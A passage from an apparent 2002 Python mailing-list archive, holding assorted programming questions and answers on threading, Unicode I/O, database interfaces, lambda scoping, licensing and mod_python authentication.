and Netscape 3 (ignoring CSS). Due to the seperation of form and content the site is also optimized for more exotical browsers and/ or browsing situations -- such as different output media (text-to-speech, print), or disabled images. Many websites use so-called table-layout, something which is optimized for browsers like Netscape 4, but breaks in many, many other situations. Another site I have is highly optimized for Netscape 4, and it can become very time-consuming to also make it look good in new browsers. I will test-check questml.com again in Netscape 4, and if I find accessibility hurt, there's a simple trick to make that browser completely ignore stylesheets. > You should not use the phrase "Choose Your Own Adventure." It is > trademarked. Choose-Your-Own-Adventure, or CYOA, is the common term used all around the web and in newsgroups to title this type of game. Google returns about 14,900 matches to this phrase, and I suppose only some are referring to anything trademarked. If it's a crime then this alone is no moral argument in my favor, but a very pragmatic one -- if anybody's sued, then they will have to take on a whole lot of people. The moral argument is simply that this term is now in general use and became a common phrase, if it ever was something different (which I'm not aware of), and that trademarks should exceed on phrases very commonly used to designate not a single product, but a whole category -- I don't know if this point-of-view is also expressed in legal terms here in germany (where the web server is located). From pferris at pferris.com Wed May 15 20:09:33 2002 From: pferris at pferris.com (Peter F. Ferris) Date: Wed, 15 May 2002 19:09:33 -0500 Subject: Page Hit Counter Vandalism & Writing FTP Results In-Reply-To: <15586.62418.594725.475485@12-248-41-177.client.attbi.com> Message-ID: True. I could just report him to the manager, etc; etc. But I guess I'm supposed to appreciate the intellectual challenge presented here. %^} I've politely asked him to cease, he has not. He thinks he's being "funny" -- heeheehaahaa! Not to mention he's someone I'll "need" from time to time. And I'm a PYTHON NEWBIE, I figured it would be a good exercise! ;-) My real problem, clearly stated as I can: I'm seeing the correct count from the file display on my screen, but I can not 'catch'/assign it to a variable to write it to a file. Thanks for the suggestions though. --Pete Re flogging: In Oklahoma, we use cattle prods! %^} : -----Original Message----- : From: python-list-admin at python.org : [mailto:python-list-admin at python.org]On Behalf Of Skip Montanaro : Sent: Wednesday, May 15, 2002 18:49 : To: Terry Reedy : Cc: python-list at python.org : Subject: Re: Page Hit Counter Vandalism & Writing FTP Results : : : : >> Here's the deal: Someone (I know who, but...) is constantly : >> "diddling" with the page count for a departmental web page I've : >> done. He likes to change the counts to something fairly : astronomical : >> like, "932305709023" hits or somesuch... : : Terry> So don't play that game. : : Terry> Either try to stop the vandalism (some technical possibilities: : Terry> encrypt the data; send page hit packets to a more : secure system) : Terry> or find something better to do. : : 'ave 'im flogged, I say... : : -- : Skip Montanaro (skip at pobox.com - http://www.mojam.com/) : "Excellant Written and Communications Skills required" - seen on chi.jobs : : : From martin at v.loewis.de Thu May 30 03:22:53 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 30 May 2002 09:22:53 +0200 Subject: distutils and gettext References: Message-ID: Jiri Baum writes: > Surely somebody somewhere has done this, but I can't seem to find it... I believe the best approach is to install the .mo files with install_data. This will install them in a non-standard location, so you will need to do bindtextdomain to give gettext the path. Both PyXML and 4Suite ship both .po and .mo files, so you may want to take a look. Regards, Martin From dale at riverhall.NOTHANKS.co.uk Thu May 16 14:30:35 2002 From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark) Date: Thu, 16 May 2002 19:30:35 +0100 Subject: Unicode File I/O Grief Message-ID: I simply want to do the following: file('C:\\odd.txt', 'wb').write(ucString) ...so that I can examine the contents of this (rather long) Unicode string in an editor. Can I write it to a file? Can I buggery! Any clues would be appreciated. Thanks -- Dale Strickland-Clark Riverhall Systems Ltd From sholden at holdenweb.com Sun May 19 17:16:49 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sun, 19 May 2002 17:16:49 -0400 Subject: Python and IIS References: <1021653047.71194.0@demeter.uk.clara.net> <6wTF8.59111$i42.42478@atlpnn01.usenetserver.com> <3CE8080B.8B9A168@optushome.com.au> Message-ID: <02df01c1ff7a$7f49cac0$6300000a@holdenweb.com> ----- Original Message ----- From: "Tim Churches" To: "Steve Holden" Cc: Sent: Sunday, May 19, 2002 4:16 PM Subject: Re: Python and IIS > "Robert Plant" wrote in message > > > I would like to configure IIS 5 to use python cgi scripts. > > Somewhat related to this: a few weeks ago I took the time to read the > license for Windows 2000 Server, and was surprised to find that a > Client Access License is required for each authenticated user of > IIS (or any other Web server, such as Apache?) running on Windows 2000 > Server. That was (is) not the case with the Windows NT Server license. > Details at > http://www.microsoft.com/windows2000/server/howtobuy/pricing/changes.asp > All this merely serves to highlight the fact, familiar to anyone who has been an Intel customer over the past twenty years, that the price of the product is now completely unrelated to any costs associated with production. I'm continually amazed that customers don't object to this "charge what the market will bear" pricing. regards ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From db3l at fitlinxx.com Sat May 11 01:17:55 2002 From: db3l at fitlinxx.com (David Bolen) Date: 11 May 2002 01:17:55 -0400 Subject: How to stop this race condition more effectively References: <3cdc95cb$1_6@nopics.sjc> Message-ID: "Adonis" writes: > i have these two functions running on seperate threads, but when executed it > causes a race condition on the system, hogging 100% cpu, i was able to > alleviate it by inserting a time.sleep(1) function to "slow" it down to > where its at 0% cpu usage when idle which is what i want, problem solved. > correct, but i was wondering if it could be optimized more? I don't really see any race condition here. A race condition would be code where two threads can interfere with each other based on their their sequence of execution - e.g., two code paths are racing to use or access the same resources, but depending on their execution sequence the impact on those resources can differ - thus it's unpredictable in execution, and normally an erroneous result. It's a very specific sort of problem in a multi-tasking environment. But your threads don't seem to share any data structures. Neither would a race condition necessarily have anything to do with CPU usage. What I do see is that you've written two non-blocking loops. I'm assuming (since its not shown) that proc_hndl and proc_clnt run in different threads. You've got each thread continually looping and checking the queue, and even when you pull something from the queue you do it in a non-blocking mode. That means that when your queues are empty, if you don't have the sleep in there your code is equivalent to: def proc_hndl(self): while 1: pass def proc_clnt(self): while 1: pass Does it make sense now why it eats up all your CPU? You've created two infinite loops that will take whatever CPU you have. Now, adding the sleep is certainly an effective way to minimize the CPU usage (since it gives the OS an opportunity to dispatch to other processes/threads). There are some times when such an approach would be needed, but in general it's not the most efficient. It's hard to say without seeing more of the structure of the code, but in general your goal should be to create a condition whereby your threads "block" when they have nothing to do. That means they should end up waiting for some signal or event before continuing execution. With queues, the easiest way to block is when trying to retrieve an element. For example, at least with the code you showed, this would be an equivalent implementation of proc_hndl: def proc_hndl(self): while 1: self.xmm_hndl_list_final.append(self.xmm_hndl_list.get()) The key here is that you let the get() method block. This will put the thread to sleep (no CPU) until there is something in the queue. At that point it will return the entry which you will append to the list, and then immediately try to obtain another entry. It'll keep returning entries until the queue is empty again at which point it will again block. Now, you don't show in your code how those threads terminate. A slight modification to the above would permit you to shut down the thread (say to exit the program) by posting None to the queue. You could actually make it anything you wanted that could uniquely be identified from proper data - for this example, I'm assuming None would not itself normally show up in the queue: def proc_hndl(self): while 1: entry = self.xmm_hndl_list.get() if entry is None: break self.xmm_hndl_list_final.append(entry # Do any cleanup processing here before exiting But the key in any case is to ensure that you create a condition whereby your threads will block when they don't have any work to do. The Python Queue class that you're using is actually ideal for this sort of stuff. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From jaf at lcsaudio.com Fri May 3 03:27:43 2002 From: jaf at lcsaudio.com (jaf) Date: Fri, 03 May 2002 00:27:43 -0700 (-0700) Subject: Message queueing Message-ID: <56564137481-BeMail@sugoi> Hey Noah, > You have quite an impressive history log there. Two years of pretty > consistant development. It looks interesting. Do you have any > sample applications? I like the fact that you have a Python client > interface. If you look in the ''python' subfolder in the muscle2.14.zip archive, there is a sample Python application there called pythonchat.py. It is a simple command-line-only chat client that is compatible with my BeOS/ MUSCLE based chat and file sharing app, BeShare. It's small and simple enough that it makes a decent sample app, IMHO. If you are looking for sample apps in Java or C++, let me know, there of some of those floating around as well. > Is it POSIX? It says it's for BeOS and "other operating systems". > That makes me nervous (no offense to all you BeOS freaks...). Yeah, it's all POSIX except for some OS-specific convenience classes in the besupport, atheossupport, and qtsupport subfolders. But you can do pretty much anything it supports without using the OS-specific classes, they are just there to make things a little easier for users of those OS's. At my work we use MUSCLE under Win98, OS/X, Linux, FreeBSD, and BeOS, and it works fine for us on all of those systems. Cheers, Jeremy  Hey Noah, > You From donn at drizzle.com Thu May 30 02:09:53 2002 From: donn at drizzle.com (Donn Cave) Date: Thu, 30 May 2002 06:09:53 -0000 Subject: Why no open(f, "w").write()? References: None Message-ID: <1022738990.855250@yasure> Quoth "Delaney, Timothy" : | > From: Donn Cave [mailto:donn at drizzle.com] |> |> You're describing a language other than C Python. In C Python, you |> *may* close files and rely on other kinds of finalizations through |> the reference counting garbage collector, and the result is as timely |> as if you did it explicitly. That's finalization as it ought to be, |> and it's a shame that other languages compromise on that. Lots of |> people don't think it's important, but then the majority of |> programmers |> think it's OK that their programming language requires them to keep |> track of memory in the same way. | | I would be very happy for this to be the case. | | However, CPython is not a language where you can rely on timely | finalisation. | | 1. The documentation explicitly states that you cannot. Anything else is an | implementation artifact. The real Python _is_ implementation. We all know that you actually can rely on timely finalization, and we can guess why the documentation says what it says. | 2. The thing you expect to be finalised may have another reference | somewhere. Are you 100% sure that no function you've passed it to has held a | reference to it in a cache? The same applies to memory. If objects were finalized when they still have references, or if their memory were released, that would be an error, and I would not be in favor of that. | 3. Your object may be in a cycle. This will result in a non-timely | finalisation. | | 4. Your object may be in a cycle where Python explicitly punts and doesn't | run the finalisers. Same as (2) - it's my responsibility to design my program so that it is "correct" with respect to object lifetimes, meaning that objects don't live longer than I want them to. It's axiomatic in Python that an object with references is still valid - not just a matter of documented or implemented behavior - and it follows that if I want an object's lifetime to expire, I have to make sure there are no references to it. I'm cool with that. Most of the time I will not care anyway, but to the extent it matters, this is a much better deal than having to reinvent reference counting while I pretend it isn't already being done by the interpreter. Donn Cave, donn at drizzle.com From fperez528 at yahoo.com Mon May 13 20:58:56 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 13 May 2002 18:58:56 -0600 Subject: beginner question: extending python types References: Message-ID: Uwe Mayer wrote: > Hi, > > I am totally new to python and was about to start programming when more > and more questions upon "how to do it actually" came up. > > My problem: I want do write classes which behave like algebraic > structures, i.e. a group, a field or vector space and then want to work > on them. > > To my first question: > I know I can overwrite built-in operations like add with, f.e. __add__() > methods, but can I add new f.e. postfix operators like "!" (facculty: n! > = 1*2*3*4*...*n)?` You can't add new operators to python, you can only override existing ones. But you can perhaps make do with methods: class myint(int): def fac(self): ## compute factorial print myint(5).fac() # <==> 5! Kludgy, I know. > > My second question: > I found Python lacking the type of a "set". i.e. an unordered list. I'd > just wanted to use a normal list and pretend there was no order. Of > course I want to iterate over them and in section 2.2.5 of the Python > Library Reference they say that the method __iter__() must return an > iterator object. I couldn't find a class called iterator in the Library > and Language Reference... For a start, you can use a dict and have your elements be keys with some trivial value. Repeated elements don't add to the set because each unique key only exists once. You can then create syntactic sugar to make it look more like a set, and implement further set operations. > > To my last question for now: > I want to force certain parameters of methods to be of a specific type, > so that when I expect a set I'll get a set or a sub-class thereoff. How > to I controll that? Use the type() function and raise an IllegalType > exception otherwise? To elaborate on Alex's response: abandon python if you insist on using types, but you can still use python for this problem. It's just that you'll be better off learning a different way of achieving your goals which is not based on strict type checking. Cheers, f. From bt98 at doc.ic.ac.uk Sat May 25 11:31:24 2002 From: bt98 at doc.ic.ac.uk (Benjamin Tai) Date: Sat, 25 May 2002 16:31:24 +0100 Subject: symbolic python Message-ID: <3CEFAE4C.38A8022B@doc.ic.ac.uk> Hi, Can Python behave as a symbolic language, like... Prolog? For example, if I define a function: def fun(): #function_body Is there any chance to print out the code inside the function_body? When I receive a method object, would it be possible to get into the function_body, and dynamically change the method's behaviour? Thanks Ben From sdm7g at Virginia.EDU Wed May 22 18:43:06 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Wed, 22 May 2002 18:43:06 -0400 (EDT) Subject: [Edu-sig] Emulating Pascal input In-Reply-To: <20020522122502.GA6726@st-annes.oxford.ac.uk> Message-ID: On Wed, 22 May 2002, Michael Williams wrote: > On Wed, May 22, 2002 at 07:42:59AM -0400, Guido van Rossum wrote: > > [Michael Williams is looking for a readln() replacement] > > > > If you're willing to change the input format to require commas between > > numbers, you could use the standard built-in function input(), which > > was put in Python specifically to support this kind of usage. > > I did consider this but: > > - the quasi-standard way of delimiting data is whitespace -- not > commas. > > - allowing users of programs to interact using input() is A Bad Thing. Why is it a "Bad Thing" ? If these are the students own programs then security isn't a problem. It's really handy to be able to type expressions for input args instead of having to get out a calculator to figure out the input args for your program. If you do want to restrict the input use something like: >>> import math >>> def expr( e ): return eval( e, math.__dict__, {} ) Now you can use string.split to get your whitespace delimited args: >>> map( expr, sys.stdin.readline().strip().split() ) 1 sqrt(2) pi/2 2 3.0 pi [1, 1.4142135623730951, 1.5707963267948966, 2, 3.0, 3.1415926535897931] If you want some latitude in the choice of separator, you should use re.split -- commas change the evaluation of the string: >>> map( expr, sys.stdin.readline().strip().split() ) 1,2,3 [(1, 2, 3)] >>> map( expr, sys.stdin.readline().strip().split() ) 1, 2, 3 [(1,), (2,), 3] >>> map( expr, re.split( '[, \t]', sys.stdin.readline() ) ) If you want some input error checking on the number types of input values, you can use an explicit list of coercions: map( lambda f,x: f(x), [ int, float, expr ], ... You could wrap up your preferred style in a function or use something like this (with all the options): >>> def readln( source=sys.stdin, prompt='>', sep='[ ,\t]', coerce=None ): ... if source is sys.stdin: inp = lambda : raw_input( prompt ) ... else: inp = source.readline ... args = re.split( sep, inp().strip() ) ... if coerce is None: ... return map( expr, args ) ... else: ... return map( lambda f,x: f(x), coerce, args ) ... Using the coercion functions lets you input strings without requiring quotes: >>> readln( coerce=(str,int) ) > abc 1 ['abc', 1] -- Steve Majewski From huaiyu at gauss.almadan.ibm.com Tue May 21 14:28:48 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Tue, 21 May 2002 18:28:48 +0000 (UTC) Subject: Licensing question References: <3ce8614f_5@nopics.sjc> <3CE9CC3E.F22C3B5D@cascade-sys.com> Message-ID: James J. Besemer wrote: > >"James J. Besemer" wrote: > >> I always favorably impressed that he took steps in the licensing to allow >> commercial spin-offs using Python technology, instead, say, of trying to lock >> derivatives in the public domain ala Stallman's CopyLeft. > >Paul Foley points out that my use of "public domain" in the above sentence is >incorrect. GPL not is "public domain". > >To forgive is divine. We'd happily forgive the "mindless, childish GPL-bashing" and those "borderline libelous accusations and characterizations about" Stallman, as long as it clearly originates from ignorance rather than ill intent. I'm still wondering why someone would marvel at MS's "Amarican Success Story" while paying for their stuff, yet at the same time complaining about Stallman not being generous enough when you can get his stuff for free (in both senses). Human nature, I suppose. Huaiyu From gh_pythonlist at gmx.de Wed May 15 10:10:56 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 15 May 2002 16:10:56 +0200 Subject: Newbie - does Python have DB Independent interface? In-Reply-To: <20020515093928.B16985@merrill.redhat.com> References: <20020515093928.B16985@merrill.redhat.com> Message-ID: <20020515141056.GB15720@lilith.my-fqdn.de> * Hardy Merrill [2002-05-15 09:39 -0400]: > I come from the Perl world, and am starting to learn Python. > Perl has the DBI module which is a Database Independent interface - > you write programs to the DBI api, and then if you choose to > change your database, your code needs to change very little, or > maybe not at all. > > Does Python have anything similar, Yes, the Python DB-API v2. The API, and a list of available database interfaces, can be found here: http://www.python.org/topics/database/ > or must you choose your database right up front, and write all your > code specific to that one database? No, in an ideal world, you'd only need to import a different module and call a different form of connection method when switching databases, but alas, the parameter quoting is not standardized by the API (it allows one of several possible parameter quoting forms), and the API is lacking a standardized way to nicely access columns in query results. Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 20.2 ?C Wind: 5.2 m/s From tjreedy at udel.edu Sun May 5 01:38:09 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Sun, 05 May 2002 05:38:09 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: <5z3B8.60931$Ii2.5614483@bin2.nnrp.aus1.giganews.com> "Bengt Richter" wrote in message news:ab1sf9$mt8$0 at 216.39.172.122... > On Thu, 02 May 2002 21:05:45 GMT, Alex Martelli wrote: > In the meantime, to clarify the semantics, I wonder whether this > is the truly desired behavior of lambda: As I understand Python.... The behavior of lambda is essentially the behavior of an equivalent def. > >>> fa = lambda x:x+k This is +- equivalent to def fa(x): return x+k 'x+k' is effectively quoted by either 'def' or 'lambda' and is not evaluated until the function is called. At this point, the existence or not of a binding to k is irrelevant. I would be surprised and upset if otherwise. > >>> k='b' > >>> fb = (lambda y: lambda x:x+y)(k) Since you here use k in a call rather than a definition, it now must exist. This is +- equivalent to def _(y): def __(x): return x+y return __ fb = _(k) Again, 'x+y' is evaluated when fb is called, not when it is defined. fb('fb->') Without nested scoping as introduced in 2.1, this raises 'NameError: y' unless y is globally defined, which it is not in your example. (Yes, I tested this.) With nested scoping, the intermediate namespace (the outer local namespace) with y == k == whatever is bundled with the returned inner function for use is satisfying the name lookups. (I do not know whether the inner mechanics of lambdas are exactly the same here, but I believe the effect is the same.) > I.e., what is the rationale for not creating a closure when a global > binding exists at the time of lambda evaluation? The definition-time processing of function bodies pays no attention to the contents of enclosing scopes since nothing is evaluated until call time. To do otherwise would be a major change. Would you have the function definition raise an error if the global binding does not exists at that time? I hope I have made something clearer. Terry J. Reedy From brian at sweetapp.com Wed May 8 21:04:34 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Wed, 8 May 2002 18:04:34 -0700 Subject: Hello Newb here In-Reply-To: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> Message-ID: <002901c1f6f5$7b8dde40$445d4540@Dell2> > Hello im new to programming i started to learn c++, but turned out to be > way too hard. So i thought I would learn Python. > > Does anyone have any ideas on how I can learn to program well in about a > month You might want to start here: http://www.python.org/doc/Newbies.html Others can comment of the feasibility of learning how to program well in a month :-) Cheers, Brian From kragen at pobox.com Mon May 20 19:23:12 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 19:23:12 -0400 Subject: How do you code in Python ??? References: <3CE94930.995ED618@engcorp.com> Message-ID: <83hel2pfof.fsf@panacea.canonical.org> Peter Hansen writes: > Pearu Peterson wrote: > > On 20 May 2002, Peter Hansen wrote: > > > Dave Cook wrote: > > > > xemacs. Ctrl-C Ctrl-C to run the app. > > > And Ctrl-C to stop it again? How do you keep it all straight? :-) > > No. Ctrl-G to stop the app. > > If it's a console app, how can you prevent Ctrl-C from stopping it? Ctrl-C Ctrl-C reimports the module you're working on into a Python CLI running under Emacs. To answer your other question: Ctrl-C is SIGINT. From msoulier at nortelnetworks.com_.nospam Wed May 22 09:31:00 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 22 May 2002 13:31:00 GMT Subject: Is python really slow? References: Message-ID: On Tue, 21 May 2002 19:12:19 -0600, Bjorn Pettersen wrote: > > I'm not a Perl expert, but from what I hear it is considerably harder to > extend/embed Perl (someone please correct me if I'm wrong ). You're not wrong. Both Tcl, Python and Ruby use the concept of including a simple header file, learning some new types and semantics, and you're off and running. Easy. Perl, on the other hand, uses the XS framework, which requires a bunch of extra macros and such in your C to make it merge with Perl. It's a major pain, and it's something they're planning to fix in Perl 6 (currently vapourware) because they've been so heavily criticized for it. Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From aleax at aleax.it Thu May 2 09:40:38 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 13:40:38 GMT Subject: Newbie: finding the key/index of the min/max element References: Message-ID: James J. Besemer wrote: ... > And anyway, if some questions persist in coming up over and over -- don't > you have to put your own prejudice aside and ask if maybe there's a point? Sure, but it's an easy point to see -- "adding something costs little, so why not just add it? removing something costs a lot, so never remove!". Clearly, each of the many "persistent" questions tends to relate to features of other languages the querants know. They're used to them, so they *WANT* them -- if they're decent rationalizers (and most of us are) they'll come up with oodles of almost-plausibly-sounding "reasons", of course. "wild and wooly" ideas not tried elsewhere do come up, but not repetitively (that I recall -- and this makes sense to me). Giving in may appear to make some kind of local-optimization sense in each and any case. Net result, should you give in to the pressure in each case, a language so huge, bloated, and unwieldy as to dwarf C++ or Perl or .... Obviously, each change-proponent will stubbornly refuse to look at the large picture and insist that *just HIS own little favourite addition* can't be said on its own to bloat the language. Local vs global thinking, again. Surely somebody who has a billion dollars isn't impoverished if I, personally, manage to get 1000 bucks of his money? He'll hardly notice. And _I_ could really use that money! Well, maybe, but -- if it happens a million times, the rich guy has just become a pauper. Some would not mind in the least, of course:-). The same goes for removing some feature that doesn't carry its weight any more, even though the screamers in this case might more likely be people who've been using the language for quite some time. "There's 100's of language features, surely the gradual removal of ONE can't give any benefit". I claim it can -- because the only way to do it IS one by one. Here, the analogy that comes to mind is an overweight person who'd really like to slim down, but won't start dieting and exercising, because a week or two of diet and exercise can hardly mean more than a pound or two of weight loss, and what good would that little do, anyway? In the end, all decisions about Python rest with the BDFL. But he listens to arguments, proposals, and so on -- at least once they're formalized in a PEP, which is supposed to carry all arguments both pro and con the proposed "Enhancement". Discussions _about changes_ without a PEP can only be a preliminary to a PEP, or else totally futile. In my limited and biased experience of this group, "totally futile" covers a majority of cases. On the other hand, a PEP would never be out of place, unless it duplicates an existing (presumably closed/rejected) one. Even a PEP that is _meant_ to be rejected makes sense (see PEP 666), to get down the rationale for rejection permanently in the right place. So far I haven't seen a "futile" PEP, despite some occasional, partial duplication. Alex From cliechti at gmx.net Fri May 10 21:11:36 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 03:11:36 +0200 Subject: correct way to check for True in __builtins__? References: Message-ID: "Mark McEahern" wrote in news:mailman.1021073299.24385.python-list at python.org: > I want to check whether True is builtin and I thought I'd be clever by > saying: > > if True not in __builtins__: > True = bool(1) > False = bool(0) > > of course, __builtins__ doesn't seem to be built to be accessed that way. well its a module. try this: if 'True' in __builtins__.__dict__: ... (2.2 and up, add a ".keys()" for backwars compatibility) [...] > Or: > if True in dir(__builtins__): > ... which is basicaly the same as looking at ".__dict__.keys()" (True should be a string 'True', otherwise you get a NameError if it isn't defined and always a false result otherwise) chris -- Chris From iwaters at btclick.com Tue May 14 08:13:04 2002 From: iwaters at btclick.com (ian) Date: Tue, 14 May 2002 13:13:04 +0100 Subject: Finding mail exchangers References: <0eSD8.57422$7R.66720@NewsReader> Message-ID: cheers for the help guys "Paul Wright" <-$P-W$- at verence.demon.co.uk> wrote in message news:abqnrn$3c9$1 at verence.demon.co.uk... > In article <0eSD8.57422$7R.66720 at NewsReader>, ian wrote: > >hi ive almost finished my mail server for a > >programming assignment im doing > > > >what i need to do now is write some code > >to find the mail exchanger for a given domain > > > >for example if i send mail to iwaters at btclick.com > >it gets sent to pop3.btclick.com > > No, it gets sent to one of > btclick.com MX 10 smtp.btclick.com > btclick.com MX 5 mail.btclick.com > > (this is the output of "host -t MX btclick.com" on Linux. The "dig" > command would give something similar). > > >how can i get a list of all exchangers for domains? > > Do an MX lookup using PyDNS: http://pydns.sourceforge.net/ > > Note that not all domains will have an MX record, so you'd need to check > for A records if you don't find a mail exchanger. > > The right thing for a client program to do is send the mail on to a > 'smarthost' which will do the lookups for you and handle queuing and > retries and suchlike. But I'm assuming that, as your assignment is to > write a server, this isn't an option for you. > > -- > Paul Wright | http://pobox.com/~pw201 | From emile at fenx.com Tue May 14 09:32:36 2002 From: emile at fenx.com (Emile van Sebille) Date: Tue, 14 May 2002 13:32:36 GMT Subject: Multibyte Character Surport for Python References: <83d6vzgngy.fsf@panacea.canonical.org> Message-ID: "Alex Martelli" > > For any natural language X, it is the case that the huge majority of > > people in the world do not understand X. As the population of > > An interesting assertion, for which I'd like you to bring some supporting > statistics. What proportion of literate human beings does not understand > English (including as a 2nd and 3rd language)? Well, 0%, for some definitions of literate . > I can't find convincing > statistics on the net, only suggestive information on anecdotical level, This looks like good information: http://www.cis.org/articles/1996/English.html [snip] > The growing tide > of English words is absolutely transversal across political nuances, > fields of endeavour, cultural levels, socio-economic classes. What goes around, comes around. ;-) English has more words than other languages which makes it easier to share. > > Italy is, admittedly, peculiarly prone to esterophily. Although this is a new one for me (and m-w.com and onelook.com). It's probably a typo, but as I don't know/recognize the word, I'm not sure how to look it up. ;-( > Even before > "team" entered the local linguistic arena, you were as likely to hear > "equipe" as "team". But in recent decades the focus has switched > entirely to English, and the pace accelerates, it appears to me. Philip Williams, of ABC news, called English "... a language that invades foreign lands quicker than foot-and-mouth" and the French Ministry of Education says to its students "Choose another language -- Dutch, Italian, German, Icelandic, Congolese, anything but English." Or, do like the French, and regularly expunge 'profanities' from the official language, not that anybody regularly *speaks* the official language. Or like Iceland, which rightly sets the blame at Bill Gates' doorstep. ;-) http://seattletimes.nwsource.com/news/technology/html98/icel_063098.html -- Emile van Sebille emile at fenx.com From jeff at ccvcorp.com Thu May 2 16:37:44 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 2 May 2002 13:37:44 -0700 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> Message-ID: In article , Erno Kuusela says... > % python ding.py > 6.82 > 1.83 > python ding.py 17.44s user 0.16s system 98% cpu 17.897 total > > the map version is also more readable, imho. Hm, I'm slightly surprised that there's that significant of a difference in this case. Just goes to further reinforce that performance needs to be measured, not guessed at. :) And I won't deny that in this case, the map version is quite readable. Other cases are not necessarily so, and I generally prefer reading list comps, but this is largely a matter of taste. (Of course, if performance is a *true* issue, then it's necessary to try both and see which performs best in the particular circumstance, because the answer can vary either way.) Not that I think that Erno doesn't already know this, I'm merely elucidating for others who might be following along. :) -- Jeff Shannon Technician/Programmer Credit International From phr-n2002a at nightsong.com Wed May 8 22:58:19 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 08 May 2002 19:58:19 -0700 Subject: Has Red Hat helped or hurt? References: Message-ID: <7xsn52jad0.fsf@ruckus.brouhaha.com> tanzer at swing.co.at (Christian Tanzer) writes: > > It's also bogus to speak of Python 1.5.2 as some ancient dinosaur that > > should be dead and gone. It's just 2 years old or so. > > You are just slightly off. 1.5.2 was released more than three years > ago and was superseded by a newer Python almost 2 years ago. OK, it was still current when Red Hat 7.0 came out though. > > It's an error to needlessly break compatibility with it. > > And it's FUD to claim needless compatibility breaks have happened. How is it FUD? Are you saying the compatibility breaks were needed? If not, they were needless. From remy.cool at smartology.nl Fri May 3 07:27:21 2002 From: remy.cool at smartology.nl (Remy Cool) Date: Fri, 03 May 2002 13:27:21 +0200 Subject: mod_python authnetication via database Message-ID: Experementing with python/mod_python and databases I created the following script to authenticate users. All's well except that for every login or page reload I get 4 entry's in the login table. Anyone know's why and/or how I can prevent this from happening ? The code: # authenticate user import psycopg import string import time from mod_python import apache def authenhandler(req): pw = req.get_basic_auth_pw() user = req.connection.user # create database connection connectstring = "dbname=testbase user=test password=test port=5432" dbconn = psycopg.connect(connectstring) dbhandle = dbconn.cursor() # define query dbhandle.execute("SELECT user_id,password FROM users WHERE username = %s", (user,)) # retrieve results results = dbhandle.fetchall() total = len(results) if total < 1: # user not known on this system return apache.HTTP_UNAUTHORIZED else: if total > 2: # database corrupted return apache.HTTP_UNAUTHORIZED else: # extract user_id from list user_id = results[0][0] # get host info curhost = req.get_remote_host(apache.REMOTE_NAME) # register login try dbhandle.execute("""INSERT INTO login (user_id,host) VALUES ( %d,%s )""", (user_id,curhost)) dbconn.commit() # extract password from list passwd = string.strip(results[0][1]) # compare password with given if pw == passwd: # user authenticated return apache.OK else: # incorrect password return apache.HTTP_UNAUTHORIZED Regards, Remy ---------------------------------------- replace .at. in e-mail address to @ From spam at melkor.dnp.fmph.uniba.sk Thu May 2 03:11:31 2002 From: spam at melkor.dnp.fmph.uniba.sk (Radovan Garabik) Date: Thu, 2 May 2002 09:11:31 +0200 Subject: vt100 or vt102 or terminal emulator References: Message-ID: <3roqaa.nnq.ln@127.0.0.1> Noah wrote: : Does anyone know of any vt100 or vt102 emulators in Python? : I'm writing a Python screen scraping application and I need : to build a virtual screen in memory. The screen reader then : needs to parse vt100 escape codes to represent the screen in : an array. This should be easy, but I don't want to duplicate : work if someone out there already has a terminal emulator module. there is superterm: http://azz.us-lot.org/files/superterm-0.1.tar.gz (it needed some cleaning to run with newer pythons) and I also started something similar, but never got anywhere far (tell me if you want the code). -- ----------------------------------------------------------- | Radovan Garabik http://melkor.dnp.fmph.uniba.sk/~garabik | | __..--^^^--..__ garabik @ fmph . uniba . sk | ----------------------------------------------------------- Antivirus alert: file .signature infected by signature virus. Hi! I'm a signature virus! Copy me into your signature file to help me spread! From mcfletch at rogers.com Thu May 23 14:15:02 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Thu, 23 May 2002 14:15:02 -0400 Subject: 2**HUGENUMBER Why not optimise it? References: <3CEC8141.40304@rogers.com> <3CECAB33.7010104@tismer.com> Message-ID: <3CED31A6.5090102@rogers.com> > Cheer up! Thanks, I did. I'm not particularly attached to the idea of optimising 2**x for large values of x (never actually used it myself), or even generic large-int multiplication. I was just hoping for some resulting discussions of algos for speeding up multiplication, optimising big integers (e.g. shared storage or the like), and generally bringing the "fun place to learn about programming" atmosphere back to the list. So far only Karatsuba is on the table (that was fun, maybe someone will want to play with the Python version I just posted). Apparently the area of long-int-optimisation is just too well-trod to elicit much interest among the general populace. Tim's rather busy these days. I suppose the days of timbot postings that take 2 hours to read (what with tracking down all the references given and learning exotic CS concepts) are a thing of the past. Still a fun person, but now more of an adult figure, distant, authoritative :o) ;) . Life continues on. Someday I too will need to leave 